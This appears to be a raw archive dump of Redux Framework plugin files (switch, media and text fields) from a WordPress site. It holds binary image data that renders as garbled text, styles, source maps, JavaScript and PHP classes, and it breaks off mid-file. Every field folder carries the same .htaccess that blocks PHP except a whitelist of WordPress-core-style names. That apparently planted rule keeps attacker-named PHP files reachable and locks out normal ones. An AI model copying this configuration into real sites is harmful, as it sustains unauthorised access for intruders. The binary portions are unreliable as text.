end="r"?>Z��IDATxڤTKK[QUDRKWjtEJ*vp-T]-!’bļ0Mb&wz*nz`swfs9,,v)6Yz,]):1<NߖJFga8vʿ欮?X\\|oZg"eYd2499I^W6mgsse$IO�UX·{Tը\.S^EQH4`0ekkd-Phpvv`L.-vN'n{~~~4!>a>:JCCC$#C3d5x1l&&&0=|_6lRB, !5122BSSS)Tu]K1KnkQRqEq:s1O2xtpW:PZCiF�cjZyxAv'�̪H BrO)ECT3.�fA<G�OOOd'agyppkwwq7 ƻʟy +>:7;|"v70^Lboo$')'њ:w.///q/=Hy]ȀWVVޱMCltJIC:v?[�Z3"i����IENDB`����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/switch/switch.gif��������������������������������������������������������0000644�����������������00000002321�14720701300�0015166 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������GIF89a���\%ItVb\\\`i}dBm u(R{yKs| imoqvvvi[dddWyMrUUUQ]Rq'aaadXW^|||pppzzzjjjrrrnnntttlllxxxhhhyv{sgbk儶#Oggg$uρ"`s!Ȭu nΙÏؿÀXpz!2|nWx%zX \&eUa$#\fff!�����,�������L}|! OS<&A9;C̢@>:?B=DT%, QP4NH`Az(TXaC#!"8E2f\‘#YdI%(Q2X2˗0mȔy͛/rl?'C+HXBb�&<O1"T]g럮r*+ٳaюMv[mᾝʈ F `ԁ\yA �Q X@eOaÖB(^:XrQO!~dF53XoB19 H?aXT_BEe(4B e$I4$`/ `EЃ �CFtEpIttA ]`H0`R)KxL`Rؔ:}cN0R,,"$u"LW<#bDHR.ǓVbǕSje] [zieed6Y] "W1W G9� ObA0)<l&K=V hB/r[q[n[  r,@� Ͱ@²%T"m"y ca �m �cKnV1F6BzżZŽ]4 pXE\$E14CDO,."77H wla.| -q2@mpH �;���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/switch/field_switch.scss�������������������������������������������������0000644�����������������00000002650�14720701300�0016544 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-switch { .switch-options { min-height: 30px; margin-right: 10px; label { cursor: pointer; } input { display: none; } } .cb-enable, .cb-disable { padding: 0 10px; border-width: 1px; border-style: solid; -webkit-appearance: none; white-space: nowrap; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; span { line-height: 30px; display: block; font-weight: 700; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -o-user-select: none; -ms-user-select: none; user-select: none; } } .cb-enable, .cb-disable, .cb-enable span, .cb-disable span { display: block; float: left; } .cb-enable { border-right: 0; border-radius: 3px 0px 0px 3px; -moz-border-radius: 3px 0px 0px 3px; -webkit-border-radius: 3px 0px 0px 3px; &.selected { color: #fff; } } .cb-disable { border-left: 0; border-radius: 0px 3px 3px 0px; -moz-border-radius: 0px 3px 3px 0px; -webkit-border-radius: 0px 3px 3px 0px; &.selected { color: #fff; } } }����������������������������������������������������������������������������������������redux-framework/inc/fields/switch/field_switch.min.js�����������������������������������������������0000644�����������������00000002372�14720701300�0016770 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(t){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.switch=redux.field_objects.switch||{},t(document).ready(function(){}),redux.field_objects.switch.init=function(e){e||(e=t(document).find(".redux-group-tab:visible").find(".redux-container-switch:visible")),t(e).each(function(){var s=t(this),e=s;s.hasClass("redux-field-container")||(e=s.parents(".redux-field-container:first")),e.is(":hidden")||e.hasClass("redux-field-init")&&(e.removeClass("redux-field-init"),s.find(".cb-enable").click(function(){if(!t(this).hasClass("selected")){var e=t(this).parents(".switch-options");t(".cb-disable",e).removeClass("selected"),t(this).addClass("selected"),t(".checkbox-input",e).val(1).trigger("change"),redux_change(t(".checkbox-input",e));var i=".f_"+t(this).data("id");s.find(i).slideDown("normal","swing")}}),s.find(".cb-disable").click(function(){if(!t(this).hasClass("selected")){var e=t(this).parents(".switch-options");t(".cb-enable",e).removeClass("selected"),t(this).addClass("selected"),t(".checkbox-input",e).val(0).trigger("change"),redux_change(t(".checkbox-input",e));var i=".f_"+t(this).data("id");s.find(i).slideUp("normal","swing")}}),s.find(".cb-enable span, .cb-disable span").find().attr("unselectable","on"))})}}(jQuery);����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/switch/.htaccess���������������������������������������������������������0000644�����������������00000001626�14720701300�0015003 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/switch/field_switch.css.map����������������������������������������������0000644�����������������00000001634�14720701300�0017136 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,uCAAgB;EACZ,UAAU,EAAE,IAAI;EAChB,YAAY,EAAE,IAAI;EAElB,6CAAM;IACF,MAAM,EAAE,OAAO;EAGnB,6CAAM;IACF,OAAO,EAAE,IAAI;AAIrB;mCACY;EACR,OAAO,EAAE,MAAM;EACf,YAAY,EAAE,GAAG;EACjB,YAAY,EAAE,KAAK;EACnB,kBAAkB,EAAE,IAAI;EACxB,WAAW,EAAE,MAAM;EACnB,kBAAkB,EAAE,UAAU;EAC9B,eAAe,EAAE,UAAU;EAC3B,UAAU,EAAE,UAAU;EAEtB;0CAAK;IACD,WAAW,EAAE,IAAI;IACjB,OAAO,EAAE,KAAK;IACd,WAAW,EAAE,GAAG;IAChB,mBAAmB,EAAE,IAAI;IACzB,kBAAkB,EAAE,IAAI;IACxB,gBAAgB,EAAE,IAAI;IACtB,cAAc,EAAE,IAAI;IACpB,eAAe,EAAE,IAAI;IACrB,WAAW,EAAE,IAAI;AAIzB;;;wCAGiB;EACb,OAAO,EAAE,KAAK;EACd,KAAK,EAAE,IAAI;AAGf,kCAAW;EACP,YAAY,EAAE,CAAC;EACf,aAAa,EAAE,eAAe;EAC9B,kBAAkB,EAAE,eAAe;EACnC,qBAAqB,EAAE,eAAe;EAEtC,2CAAW;IACP,KAAK,EAAE,IAAI;AAInB,mCAAY;EACR,WAAW,EAAE,CAAC;EACd,aAAa,EAAE,eAAe;EAC9B,kBAAkB,EAAE,eAAe;EACnC,qBAAqB,EAAE,eAAe;EAEtC,4CAAW;IACP,KAAK,EAAE,IAAI", "sources": ["field_switch.scss"], "names": [], "file": "field_switch.css" }����������������������������������������������������������������������������������������������������redux-framework/inc/fields/media/field_media.css.map������������������������������������������������0000644�����������������00000001653�14720701300�0016473 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI;sBACW;EACP,WAAW,EAAE,IAAI;EACjB,KAAK,EAAE,OAAO;EAEd;8BAAQ;IACJ,KAAK,EAAE,GAAG;AAIlB,8BAAmB;EACf,aAAa,EAAE,GAAG;AAGtB,yBAAc;EACV,KAAK,EAAE,IAAI;EACX,KAAK,EAAE,IAAI;EACX,SAAS,EAAE,IAAI;EACf,WAAW,EAAE,IAAI;EACjB,eAAe,EAAE,IAAI;EACrB,WAAW,EAAE,iBAAiB;EAC9B,MAAM,EAAE,UAAU;EAClB,OAAO,EAAE,QAAQ;EACjB,UAAU,EAAE,OAAO;EACnB,qBAAqB,EAAE,GAAG;EAC1B,kBAAkB,EAAE,GAAG;EACvB,aAAa,EAAE,GAAG;AAGtB,yBAAc;EACV,WAAW,EAAE,0BAA0B;EACvC,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,CAAC;EACT,KAAK,EAAE,OAAO;EACd,YAAY,EAAE,IAAI;AAGtB,+BAAoB;EAChB,UAAU,EAAE,KAAK;EACjB,SAAS,EAAE,KAAK;EAChB,OAAO,EAAE,GAAG;EACZ,aAAa,EAAE,CAAC;EAChB,UAAU,EAAE,IAAI;EAChB,YAAY,EAAE,IAAI;EAClB,MAAM,EAAE,iBAAiB;EACzB,UAAU,EAAE,OAAO;EACnB,kBAAkB,EAAE,GAAG;EACvB,oBAAoB,EAAE,GAAG;EACzB,qBAAqB,EAAE,GAAG;EAC1B,aAAa,EAAE,GAAG;AAGtB,+BAAoB;EAChB,KAAK,EAAE,cAAc;AAGzB,mBAAQ;EACJ,UAAU,EAAE,GAAG", "sources": ["field_media.scss"], "names": [], "file": "field_media.css" }�������������������������������������������������������������������������������������redux-framework/inc/fields/media/field_media.less���������������������������������������������������0000644�����������������00000002376�14720701300�0016100 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main { .button.remove-image, .removeCSS { margin-left: 10px; color: #ef521d; } .button.remove-image:hover, .removeCSS:hover { color: red; } .upload_button_div { margin-bottom: 5px; } .upload-error { float: left; color: #666; font-size: 10px; font-weight: bold; text-decoration: none; text-shadow: 1px 1px 0 #FFFFFF; margin: 0 10px 0 0; padding: 3px 10px; background: #FFDFEC; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } .reset-button { font-family: Arial, Verdana, sans-serif; float: left; margin: 0; color: #ef521d; border-color: #bbb; } .redux-option-image { max-height: 340px; max-width: 340px; padding: 5px; margin-bottom: 0; margin-top: 10px; margin-right: 15px; border: 1px solid #e3e3e3; background: #f7f7f7; -moz-border-radius: 3px; -khtml-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .redux-main .upload { width: 80% !important; } .button { margin-top: 2px; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/media/field_media.scss���������������������������������������������������0000644�����������������00000002361�14720701300�0016077 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main { .button.remove-image, .removeCSS { margin-left: 10px; color: #ef521d; &:hover { color: red; } } .upload_button_div { margin-bottom: 5px; } .upload-error { float: left; color: #666; font-size: 10px; font-weight: bold; text-decoration: none; text-shadow: 1px 1px 0 #FFFFFF; margin: 0 10px 0 0; padding: 3px 10px; background: #FFDFEC; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } .reset-button { font-family: Arial, Verdana, sans-serif; float: left; margin: 0; color: #ef521d; border-color: #bbb; } .redux-option-image { max-height: 340px; max-width: 340px; padding: 5px; margin-bottom: 0; margin-top: 10px; margin-right: 15px; border: 1px solid #e3e3e3; background: #f7f7f7; -moz-border-radius: 3px; -khtml-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .redux-main .upload { width: 80% !important; } .button { margin-top: 2px; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/media/field_media.php����������������������������������������������������0000644�����������������00000025733�14720701300�0015723 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Media * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @author Kevin Provance (kprovance) * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_media' ) ) { /** * Main ReduxFramework_media class * * @since 1.0.0 */ class ReduxFramework_media { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { // No errors please $defaults = array( 'id' => '', 'url' => '', 'width' => '', 'height' => '', 'thumbnail' => '', 'title' => '', 'caption' => '', 'alt' => '', 'description' => '', ); $this->value = wp_parse_args( $this->value, $defaults ); if (isset($this->field['mode']) && $this->field['mode'] == false) { $this->field['mode'] = 0; } if ( ! isset( $this->field['mode'] ) ) { $this->field['mode'] = "image"; } if (!isset($this->field['library_filter'])) { $libFilter = ''; } else { if (!is_array($this->field['library_filter'])) { $this->field['library_filter'] = array($this->field['library_filter']); } $mimeTypes = get_allowed_mime_types(); $libArray = $this->field['library_filter']; $jsonArr = array(); // Enum mime types foreach ($mimeTypes as $ext => $type) { if (strpos($ext,'|')) { $expArr = explode('|', $ext); foreach($expArr as $ext){ if (in_array($ext, $libArray )) { $jsonArr[$ext] = $type; } } } elseif (in_array($ext, $libArray )) { $jsonArr[$ext] = $type; } } $libFilter = urlencode(json_encode($jsonArr)); } if ( empty( $this->value ) && ! empty( $this->field['default'] ) ) { // If there are standard values and value is empty if ( is_array( $this->field['default'] ) ) { if ( ! empty( $this->field['default']['id'] ) ) { $this->value['id'] = $this->field['default']['id']; } if ( ! empty( $this->field['default']['url'] ) ) { $this->value['url'] = $this->field['default']['url']; } } else { if ( is_numeric( $this->field['default'] ) ) { // Check if it's an attachment ID $this->value['id'] = $this->field['default']; } else { // Must be a URL $this->value['url'] = $this->field['default']; } } } if ( empty( $this->value['url'] ) && ! empty( $this->value['id'] ) ) { $img = wp_get_attachment_image_src( $this->value['id'], 'full' ); $this->value['url'] = $img[0]; $this->value['width'] = $img[1]; $this->value['height'] = $img[2]; } $hide = 'hide '; if ( ( isset( $this->field['preview'] ) && $this->field['preview'] === false ) ) { $this->field['class'] .= " noPreview"; } if ( ( ! empty( $this->field['url'] ) && $this->field['url'] === true ) || isset( $this->field['preview'] ) && $this->field['preview'] === false ) { $hide = ''; } $placeholder = isset( $this->field['placeholder'] ) ? $this->field['placeholder'] : __( 'No media selected', 'redux-framework' ); $readOnly = ' readonly="readonly"'; if ( isset( $this->field['readonly'] ) && $this->field['readonly'] === false ) { $readOnly = ''; } echo '<input placeholder="' . $placeholder . '" type="text" class="' . $hide . 'upload large-text ' . $this->field['class'] . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[url]" id="' . $this->parent->args['opt_name'] . '[' . $this->field['id'] . '][url]" value="' . $this->value['url'] . '"' . $readOnly . '/>'; echo '<input type="hidden" class="data" data-mode="' . $this->field['mode'] . '" />'; echo '<input type="hidden" class="library-filter" data-lib-filter="' . $libFilter . '" />'; echo '<input type="hidden" class="upload-id ' . $this->field['class'] . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[id]" id="' . $this->parent->args['opt_name'] . '_' . $this->field['id'] . '_id" value="' . $this->value['id'] . '" />'; echo '<input type="hidden" class="upload-height" name="' . $this->field['name'] . $this->field['name_suffix'] . '[height]" id="' . $this->parent->args['opt_name'] . '_' . $this->field['id'] . '_height" value="' . $this->value['height'] . '" />'; echo '<input type="hidden" class="upload-width" name="' . $this->field['name'] . $this->field['name_suffix'] . '[width]" id="' . $this->parent->args['opt_name'] . '_' . $this->field['id'] . '_width" value="' . $this->value['width'] . '" />'; echo '<input type="hidden" class="upload-thumbnail" name="' . $this->field['name'] . $this->field['name_suffix'] . '[thumbnail]" id="' . $this->parent->args['opt_name'] . '_' . $this->field['id'] . '_thumbnail" value="' . $this->value['thumbnail'] . '" />'; echo '<input type="hidden" class="upload-title" name="' . $this->field['name'] . $this->field['name_suffix'] . '[title]" id="' . $this->parent->args['opt_name'] . '_' . $this->field['id'] . '_title" value="' . $this->value['title'] . '" />'; echo '<input type="hidden" class="upload-caption" name="' . $this->field['name'] . $this->field['name_suffix'] . '[caption]" id="' . $this->parent->args['opt_name'] . '_' . $this->field['id'] . '_caption" value="' . $this->value['caption'] . '" />'; echo '<input type="hidden" class="upload-alt" name="' . $this->field['name'] . $this->field['name_suffix'] . '[alt]" id="' . $this->parent->args['opt_name'] . '_' . $this->field['id'] . '_alt" value="' . $this->value['alt'] . '" />'; echo '<input type="hidden" class="upload-description" name="' . $this->field['name'] . $this->field['name_suffix'] . '[description]" id="' . $this->parent->args['opt_name'] . '_' . $this->field['id'] . '_description" value="' . $this->value['description'] . '" />'; //Preview $hide = ''; if ( ( isset( $this->field['preview'] ) && $this->field['preview'] === false ) || empty( $this->value['url'] ) ) { $hide = 'hide '; } if ( empty( $this->value['thumbnail'] ) && ! empty( $this->value['url'] ) ) { // Just in case if ( ! empty( $this->value['id'] ) ) { $image = wp_get_attachment_image_src( $this->value['id'], array( 150, 150 ) ); if (empty($image[0]) || $image[0] == '') { $this->value['thumbnail'] = $this->value['url']; } else { $this->value['thumbnail'] = $image[0]; } } else { $this->value['thumbnail'] = $this->value['url']; } } echo '<div class="' . $hide . 'screenshot">'; echo '<a class="of-uploaded-image" href="' . $this->value['url'] . '" target="_blank">'; echo '<img class="redux-option-image" id="image_' . $this->field['id'] . '" src="' . $this->value['thumbnail'] . '" alt="" target="_blank" rel="external" />'; echo '</a>'; echo '</div>'; //Upload controls DIV echo '<div class="upload_button_div">'; //If the user has WP3.5+ show upload/remove button echo '<span class="button media_upload_button" id="' . $this->field['id'] . '-media">' . __( 'Upload', 'redux-framework' ) . '</span>'; $hide = ''; if ( empty( $this->value['url'] ) || $this->value['url'] == '' ) { $hide = ' hide'; } echo '<span class="button remove-image' . $hide . '" id="reset_' . $this->field['id'] . '" rel="' . $this->field['id'] . '">' . __( 'Remove', 'redux-framework' ) . '</span>'; echo '</div>'; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ( function_exists( 'wp_enqueue_media' ) ) { wp_enqueue_media(); } else { wp_enqueue_script( 'media-upload' ); } wp_enqueue_script( 'redux-field-media-js', ReduxFramework::$_url . 'assets/js/media/media' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style('redux-field-media-css'); } } } } �������������������������������������redux-framework/inc/fields/media/field_media.css����������������������������������������������������0000644�����������������00000001650�14720701300�0015714 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main .button.remove-image,.redux-main .removeCSS{margin-left:10px;color:#ef521d}.redux-main .button.remove-image:hover,.redux-main .removeCSS:hover{color:red}.redux-main .upload_button_div{margin-bottom:5px}.redux-main .upload-error{float:left;color:#666;font-size:10px;font-weight:bold;text-decoration:none;text-shadow:1px 1px 0 #FFFFFF;margin:0 10px 0 0;padding:3px 10px;background:#FFDFEC;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.redux-main .reset-button{font-family:Arial, Verdana, sans-serif;float:left;margin:0;color:#ef521d;border-color:#bbb}.redux-main .redux-option-image{max-height:340px;max-width:340px;padding:5px;margin-bottom:0;margin-top:10px;margin-right:15px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.redux-main .redux-main .upload{width:80% !important}.redux-main .button{margin-top:2px} ����������������������������������������������������������������������������������������redux-framework/inc/fields/media/.htaccess����������������������������������������������������������0000644�����������������00000001626�14720701300�0014561 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/text/field_text.css.map��������������������������������������������������0000644�����������������00000001276�14720701300�0016306 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,2BAAM;EACF,OAAO,EAAE,KAAK;EACd,QAAQ,EAAE,QAAQ;EAClB,SAAS,EAAE,eAAe;EAC1B,UAAU,EAAE,IAAI;EAChB,KAAK,EAAE,OAAO;EACd,MAAM,EAAE,sBAAsB;EAC9B,MAAM,EAAE,OAAO;EACf,GAAG,EAAE,GAAG;EACR,KAAK,EAAE,KAAK;AAGhB,2BAAM;EACF,KAAK,EAAE,IAAI;AAGf,oCAAe;EACX,OAAO,EAAE,KAAK;EACd,QAAQ,EAAE,QAAQ;EAClB,OAAO,EAAE,CAAC;EACV,KAAK,EAAE,GAAG;EACV,SAAS,EAAE,GAAG;EACd,SAAS,EAAE,IAAI;EACf,KAAK,EAAE,IAAI;EACX,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,IAAI;EACZ,kBAAkB,EAAE,UAAU;EAC9B,eAAe,EAAE,UAAU;EAC3B,aAAa,EAAE,UAAU;EACzB,UAAU,EAAE,UAAU;EACtB,cAAc,EAAE,QAAQ;;AAMxB,mDAAe;EACX,KAAK,EAAE,IAAI;EACX,SAAS,EAAE,IAAI;EACf,MAAM,EAAE,IAAI", "sources": ["field_text.scss"], "names": [], "file": "field_text.css" }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/text/field_text.scss�����������������������������������������������������0000644�����������������00000001612�14720701300�0015707 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-text { label { display: block; position: relative; font-size: 12px !important; text-align: left; color: #999999; margin: 4px 0 2px 0 !important; cursor: default; top: 5px; width: 100px; } input { clear: left; } .input_wrapper { display: block; position: relative; padding: 0; width: 23%; max-width: 23%; min-width: 70px; float: left; clear: left; height: 57px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -o-box-sizing: border-box; box-sizing: border-box; vertical-align: baseline; } } .wp-customizer { .redux-container-text { .input_wrapper { width: 100%; max-width: 100%; height: auto; } } }����������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/text/field_text.php������������������������������������������������������0000644�����������������00000010536�14720701300�0015530 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_text' ) ) { class ReduxFramework_text { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { if ( ! empty( $this->field['data'] ) && empty( $this->field['options'] ) ) { if ( empty( $this->field['args'] ) ) { $this->field['args'] = array(); } $this->field['options'] = $this->parent->get_wordpress_data( $this->field['data'], $this->field['args'] ); $this->field['class'] .= " hasOptions "; } if ( empty( $this->value ) && ! empty( $this->field['data'] ) && ! empty( $this->field['options'] ) ) { $this->value = $this->field['options']; } //if (isset($this->field['text_hint']) && is_array($this->field['text_hint'])) { $qtip_title = isset( $this->field['text_hint']['title'] ) ? 'qtip-title="' . $this->field['text_hint']['title'] . '" ' : ''; $qtip_text = isset( $this->field['text_hint']['content'] ) ? 'qtip-content="' . $this->field['text_hint']['content'] . '" ' : ''; //} $readonly = ( isset( $this->field['readonly'] ) && $this->field['readonly']) ? ' readonly="readonly"' : ''; $autocomplete = ( isset($this->field['autocomplete']) && $this->field['autocomplete'] == false) ? ' autocomplete="off"' : ''; if ( isset( $this->field['options'] ) && ! empty( $this->field['options'] ) ) { $placeholder = ''; if ( isset( $this->field['placeholder'] ) ) { $placeholder = $this->field['placeholder']; } foreach ( $this->field['options'] as $k => $v ) { if ( ! empty( $placeholder ) ) { $placeholder = ( is_array( $this->field['placeholder'] ) && isset( $this->field['placeholder'][ $k ] ) ) ? ' placeholder="' . esc_attr( $this->field['placeholder'][ $k ] ) . '" ' : ''; } echo '<div class="input_wrapper">'; echo '<label for="' . $this->field['id'] . '-text-' . $k . '">' . $v . '</label> '; echo '<input ' . $qtip_title . $qtip_text . 'type="text" id="' . $this->field['id'] . '-text-' . $k . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[' . $k . ']' . '" ' . $placeholder . 'value="' . esc_attr( $this->value[ $k ] ) . '" class="regular-text ' . $this->field['class'] . '"' . $readonly . $autocomplete . ' /><br />'; echo '</div>'; } //foreach } else { $placeholder = ( isset( $this->field['placeholder'] ) && ! is_array( $this->field['placeholder'] ) ) ? ' placeholder="' . esc_attr( $this->field['placeholder'] ) . '" ' : ''; echo '<input ' . $qtip_title . $qtip_text . 'type="text" id="' . $this->field['id'] . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '" ' . $placeholder . 'value="' . esc_attr( $this->value ) . '" class="regular-text ' . $this->field['class'] . '"' . $readonly . $autocomplete . ' />'; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 3.0.0 */ function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-text-css', ReduxFramework::$_url . 'inc/fields/text/field_text.css', array(), time(), 'all' ); } } } }������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/text/field_text.css������������������������������������������������������0000644�����������������00000001120�14720701300�0015516 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-text label{display:block;position:relative;font-size:12px !important;text-align:left;color:#999999;margin:4px 0 2px 0 !important;cursor:default;top:5px;width:100px}.redux-container-text input{clear:left}.redux-container-text .input_wrapper{display:block;position:relative;padding:0;width:23%;max-width:23%;min-width:70px;float:left;clear:left;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;vertical-align:baseline}.wp-customizer .redux-container-text .input_wrapper{width:100%;max-width:100%;height:auto} ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/text/.htaccess�����������������������������������������������������������0000644�����������������00000001626�14720701300�0014466 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/gallery/field_gallery.min.js���������������������������������������������0000644�����������������00000003123�14720701300�0017257 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(s){"use 